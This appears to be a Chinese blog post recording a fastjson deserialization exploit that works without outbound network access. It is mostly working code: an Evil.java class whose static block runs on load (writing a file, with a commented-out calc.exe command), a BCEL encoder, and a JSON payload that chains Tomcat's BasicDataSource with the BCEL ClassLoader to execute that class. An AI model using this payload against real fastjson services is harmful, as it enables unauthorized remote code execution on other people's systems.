• fastjson不出网代码利用


    image

    只是做个记录

    Evil.java

    import java.io.File;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    
    public class Evil {
    //    static {
    //        try {
    //            Runtime.getRuntime().exec("calc.exe");
    //        } catch (Exception e) {
    //            e.printStackTrace();
    //        }
    //    }
        static {
    
        //win系统
            String path = "D:\\hello.txt";
        File file = new File(path);
    
        String content = "hello,world.\n";
        FileOutputStream fileOutputStream = null;
        try {
            fileOutputStream = new FileOutputStream(file);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        try {
            fileOutputStream.write(content.getBytes());
        } catch (IOException e) {
            e.printStackTrace();
        }
    
        try {
            fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    
    }
    }
    

    BCEL.java

    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import com.sun.org.apache.bcel.internal.util.ClassLoader;
    
    import java.io.IOException;
    
    public class BCEL {
        public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
            JavaClass cls = Repository.lookupClass(Evil.class);
            String code = Utility.encode(cls.getBytes(),true);
            System.out.println("$$BCEL$$"+code);
            // 加载类并实例化
            new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
        }
    }

    执行BCEL.java

    image


    FastjsonTest.java  将上述生成BCEL带入payload

    import com.alibaba.fastjson.JSON;
    
    public class FastjsonTest {
        public static void main(String[] args) {
            String payload =
                    "{\n"
                            + "    {\n"
                            + "        \"aaa\": {\n"
                            + "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"
                            + "                \"driverClassLoader\": {\n"
                            + "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"
                            + "                },\n"
                            + "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dS$d9R$TA$U$3dM$s$990$O$86$EQ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3h$e5h$5e$Q$f0$Q$8fB$ac$ed$8fX$8c$f2$f7$88$S$5bN5$7c$3cCd$8b9$b4b$w$ba$oV$cf$Q$db$g$3a$85$be$fa$N$c6$94$d6$ae$9d$a0q8$7b$C$e3$E$f7$ae$90$a6$e1$T$dc$bf$de$j3Y$S$j$e8b$89$5ed$d9$99$89$JLa$96s$ql$aa$c08XX$edL$b6$93$60CI$b4S$f3$98$aa$Ot$a3$93$ca$t$d4$f6P$dd$8d$R$3ce$86$5e$e6$Y$60$96$3e$ded$3f$96$90$J$P$f5$O$3a$Z$d1P$ad$91$a9V$9d$5c$cd_$ad$o$bct$95W$Z0$c9$ac$dd$3ct$C$e3$cc$d9E$93$92$Yc$95gd$3d$t$p$83$d89aMG$af$8e$bep$ec$87$d01$Q$fb$a0$p$j$xp8$a7$a7$ea$T$q$x$97$H$7f$D$5e$f56fq$E$A$A\"\n"
                            + "        }\n"
                            + "    }:\"xxx\"\n"
                            + "}";
            JSON.parseObject(payload);
        }
    }
    
  • 相关阅读:
    (转)AspNetPager分页控件的使用方法 (1)
    对GridView控件的操作:GridView控件的HyperLinkField超链接数据行
    JS实现在Repeater控件中创建可隐藏区域的代码
    Asp.net弹出窗口大全
    AspNetPager分页控件使用方法 (2)
    解决mapXtreme地图更新闪屏
    绝对路径与相对路径的区别【2】release和debug这两种情况下对本地文件操作不一致的问题
    今天开始添加点文章
    第一篇博客~~
    使用 PIVOT 和 UNPIVOT实现行转列,列转行
  • 原文地址:https://www.cnblogs.com/sup3rman/p/16318677.html
Copyright © 2020-2023  润新知